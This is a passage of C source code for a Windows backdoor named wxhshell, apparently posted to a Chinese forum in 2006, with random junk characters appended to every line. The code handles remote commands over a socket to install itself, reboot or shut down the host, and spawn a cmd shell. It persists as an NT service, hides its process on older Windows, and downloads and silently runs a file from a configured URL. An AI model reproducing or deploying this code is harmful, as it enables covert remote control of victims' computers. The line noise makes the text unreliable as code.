  -LM;}<  
  // 帮助 hva2o`  
  case '?': { <A9y9|>o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jdy=_88MD  
    break; %okzOKKX  
  } ,/O[=9l36R  
  // 安装 v2,%K`pAU  
  case 'i': { QKE9R-K TE  
    if(Install()) +-B^Z On  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:% L![FX  
    else JH7Ad (:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ez{MU@Fk  
    break; <[GYLN[0Q  
    } L>Mpi$L  
  // 卸载 C%~a`e|/Y  
  case 'r': { wZh:F !  
    if(Uninstall()) Bb{!Yh].:A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s`Cy a`  
    else ?m c%.Bt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wDwH.~3!  
    break; 1T)Zh+?)}  
    } `m.eM  
  // 显示 wxhshell 所在路径 )+H[kiN  
  case 'p': { k0Ek:MjJr  
    char svExeFile[MAX_PATH]; B??J@+Nf  
    strcpy(svExeFile,"\n\r"); _hG;.=sr  
      strcat(svExeFile,ExeFile); r ]>\~&?^F  
        send(wsh,svExeFile,strlen(svExeFile),0); )wVIb)`R>Y  
    break; :SV>+EDY   
    } RmI1`  
  // 重启 {7Mj P+\  
  case 'b': { !,Zp? g)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V3mAvmx  
    if(Boot(REBOOT)) P IXL6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {RB-lfrWs  
    else { \Ey~3&x9f  
    closesocket(wsh); pG"5!42M!  
    ExitThread(0); ]xd^%q*  
    } u =gt<1U  
    break; 1b9hE9a{j  
    } 6bBdIqGb}  
  // 关机 'lZ.j&  
  case 'd': { V\K<$?oUb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $ OVXk'cc  
    if(Boot(SHUTDOWN)) (5^ZlOk3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2l5KJlfj>k  
    else { c<#<k}y  
    closesocket(wsh); \M]-bw`  
    ExitThread(0); ^Y{D^\} ,  
    } *V(Fn-6(  
    break; H6aM&r9}  
    } ):EBgg4-N  
  // 获取shell /HZumV?  
  case 's': { yg]2erR  
    CmdShell(wsh); zdSh:  
    closesocket(wsh); 0iEa[G3  
    ExitThread(0); ]TstSF=  
    break; irTv4ZE'+l  
  } 0uCT+-  
  // 退出 vw<K}z  
  case 'x': { _~aG|mAj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S'B6jJK2x  
    CloseIt(wsh); xv7"WFb  
    break; ;3C:%!CdA]  
    } ;7Oi!BC  
  // 离开 TFDm5XJ  
  case 'q': { K t#,]]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DG;y6#|p  
    closesocket(wsh); VhEMk\  
    WSACleanup(); ,)~E>[=+  
    exit(1); [&Hkn5yq  
    break; %~*jae!f  
        } g<\z=H  
  } nws"RcP+Z  
  } bXM/2Z?6  
}jF+`!*!  
  // 提示信息 j;K#]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -Cid3~mX3  
} +Zk,2ri  
  } ep(g`e  
U\+&cob.  
  return; 5+X_4lEJK(  
} c#xP91.m  
D&hqV)d4R  
// shell模块句柄 6@4n'w{"  
int CmdShell(SOCKET sock) `#IcxweA  
{ |dadH7  
STARTUPINFO si; V:bV ?lt  
ZeroMemory(&si,sizeof(si)); |Y_ -  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `0#H]=$2h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :46h+?   
PROCESS_INFORMATION ProcessInfo; 0_eQlatb  
char cmdline[]="cmd"; !F!3Q4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -T/W:-M(  
  return 0; AH{^spD{7,  
} f3WSa&eF  
4}KU>9YRA  
// 自身启动模式 !D.0 (J  
int StartFromService(void) j nwQV  
{ E@ h y7X  
typedef struct l54|Q  
{ hv)7H)|l~]  
  DWORD ExitStatus; Sav`%0q?7a  
  DWORD PebBaseAddress; POU}/e!Ua  
  DWORD AffinityMask; e&X>F"z2  
  DWORD BasePriority; lj&>cScC  
  ULONG UniqueProcessId; & 7QH^  
  ULONG InheritedFromUniqueProcessId; 8V4V3^_xs  
}   PROCESS_BASIC_INFORMATION; /c+)C"  
nb dGt  
PROCNTQSIP NtQueryInformationProcess; EH`0  
UCqs}U8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aW5~Be$ _  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7el<5chZ  
X`20f1c6q>  
  HANDLE             hProcess; |k-XBp  
  PROCESS_BASIC_INFORMATION pbi; YT2'!R 1  
sM\&. <B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rcbP$t vz  
  if(NULL == hInst ) return 0; w.kCBDL  
heD,& OX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qjC_*X!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }WP-W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |LYKc.xo  
|9NIGg'n  
  if (!NtQueryInformationProcess) return 0; &+nRIv S_`  
J l7z|QS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H)JS0 G0  
  if(!hProcess) return 0; =L 0fZf  
zsTbdF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &^ I+s^\=  
! gp}U#Yv  
  CloseHandle(hProcess); <Dw]yGK@  
6 `puTL?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + Oobb-v  
if(hProcess==NULL) return 0; .L;",E  
c>Z*/>~  
HMODULE hMod; P%o44|[][  
char procName[255]; c" Y!$'|Q  
unsigned long cbNeeded; 8l xY]UT  
z<a2cQ?XQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <]#o*_aFP  
#w~0uCzQ@  
  CloseHandle(hProcess); B7 "Fp  
,8 SWe  
if(strstr(procName,"services")) return 1; // 以服务启动 ?ei%RWo  
>riq98Us/  
  return 0; // 注册表启动 XNmQ?`.2'  
} jE U'.RBN%  
_p4}<pG  
// 主模块 8j\d~Lw=  
int StartWxhshell(LPSTR lpCmdLine) g{DFS[h  
{ 5t'Fv<g  
  SOCKET wsl; J@bW^>g*6u  
BOOL val=TRUE; Lb q_~   
  int port=0; SgSk !lj  
  struct sockaddr_in door; x1DVD!0~{  
_.f@Y`4d  
  if(wscfg.ws_autoins) Install(); -^fzsBL.  
zHx mA  
port=atoi(lpCmdLine); 9A;6x$s  
wA0eG@xi)  
if(port<=0) port=wscfg.ws_port; o8D{dS>,PL  
vw r RZ"2  
  WSADATA data; %aLCH\e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :`<psvd  
vo b$iS`>=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   />Jm Rdf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R@ QQNYU.D  
  door.sin_family = AF_INET; :_c*m@=z(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0!IPcZjY7  
  door.sin_port = htons(port); |a(Q4 e/,  
]GS ~i+=M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RSH/l;ii  
closesocket(wsl); z_(eQP])  
return 1; !"(u_dFw  
} 8?Wgawx  
|4xo4%BQ>  
  if(listen(wsl,2) == INVALID_SOCKET) { {"4<To]z  
closesocket(wsl); P7>IZ >bw  
return 1; |LFUzq>j  
} H0tF  
  Wxhshell(wsl); 8m7eaZ  
  WSACleanup(); /Su)|[/'  
zv9M HC &  
return 0; #J~Xv:LgD  
& >b+loF  
} _sm;HH7'*  
4Bo<4 4-,  
// 以NT服务方式启动 C >kmIw'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o>K &D$J;O  
{ DrFur(=T  
DWORD   status = 0; T:n< db,Px  
  DWORD   specificError = 0xfffffff; WJcVQM s  
8}K"IW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qp1\I$Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4f jC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :tlE`BIp  
  serviceStatus.dwWin32ExitCode     = 0; @{bb'q['@  
  serviceStatus.dwServiceSpecificExitCode = 0; 5h(jeT8"  
  serviceStatus.dwCheckPoint       = 0; u7(];  
  serviceStatus.dwWaitHint       = 0; . z].:$J&  
\CtQ*[FmN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,7I},sZj   
  if (hServiceStatusHandle==0) return; /b+;: z  
2|s<[V3rP-  
status = GetLastError(); iha9!kf  
  if (status!=NO_ERROR) :s-EG;.  
{ RK;;b~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %6Rp,M9=  
    serviceStatus.dwCheckPoint       = 0; EJ8I[(  
    serviceStatus.dwWaitHint       = 0; z1}1*F"  
    serviceStatus.dwWin32ExitCode     = status; :B+Rg cqi  
    serviceStatus.dwServiceSpecificExitCode = specificError; To^# 0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /THNP 8.  
    return; OT%V{hD  
  } yI:r7=KO  
vh{9'vd3el  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %2zas(b9j  
  serviceStatus.dwCheckPoint       = 0; (qj,GmcS  
  serviceStatus.dwWaitHint       = 0; uwId  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wv NI=>  
} 7 {nl..`  
y-<$bA[K~  
// 处理NT服务事件,比如:启动、停止 uNg'h/^NZ|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,y%ziay  
{ kI<Wvgo L  
switch(fdwControl) OuNj:  
{ k~R{Y~W!!  
case SERVICE_CONTROL_STOP: 'hy?jQ'|e  
  serviceStatus.dwWin32ExitCode = 0; $59nu7yr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }!=gP.Zu^  
  serviceStatus.dwCheckPoint   = 0; {Wa~}1`Kl  
  serviceStatus.dwWaitHint     = 0; psu OJ-  
  { d<_NB]V&F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s`r-v/3l  
  } Ia'x]#~  
  return; u8^Y,LN  
case SERVICE_CONTROL_PAUSE: `i9N )3 X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7|K3WuLL  
  break; 7}A5u,.,ht  
case SERVICE_CONTROL_CONTINUE: =g >.X9lr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pu-p7:99;'  
  break; RP(a,D|  
case SERVICE_CONTROL_INTERROGATE: Hw y5G ;  
  break; % mJ~F*Dy  
}; P3i^S_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8H7O/n  
} k)|'JDm  
ZWFG?8lJ  
// 标准应用程序主函数 #n=A)#'my  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [f=.!\0\  
{ MSK'2+1T@g  
})KJ60B  
// 获取操作系统版本 nW~$ (Qnd  
OsIsNt=GetOsVer(); di--:h/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ka!Bmv)  
-}E)M}W  
  // 从命令行安装 Ri; =aZ5m  
  if(strpbrk(lpCmdLine,"iI")) Install(); l 4!kxXf-<  
:Jjw"}SfK#  
  // 下载执行文件 IX"ZS  
if(wscfg.ws_downexe) { AvyQ4xim+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6$;L]<$W>  
  WinExec(wscfg.ws_filenam,SW_HIDE); (*MNox?w  
} B>sCP"/uV  
8W;xi:CC  
if(!OsIsNt) { c%ZeX%p  
// 如果时win9x,隐藏进程并且设置为注册表启动 E(% XVr0W  
HideProc(); AfUZO^<  
StartWxhshell(lpCmdLine); qQL.c+%L  
} Ap% d<\,Z  
else 7Pwg+|  
  if(StartFromService()) qw|JJ  
  // 以服务方式启动 o>@=N2n  
  StartServiceCtrlDispatcher(DispatchTable); sZ]'DH&_(  
else _2]O^$L  
  // 普通方式启动 ;CA ?eI  
  StartWxhshell(lpCmdLine); 5/ tj  
/731.l  
return 0; l6V%"Lo/)  
}
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只看该作者 1 发表于: 2006-10-10
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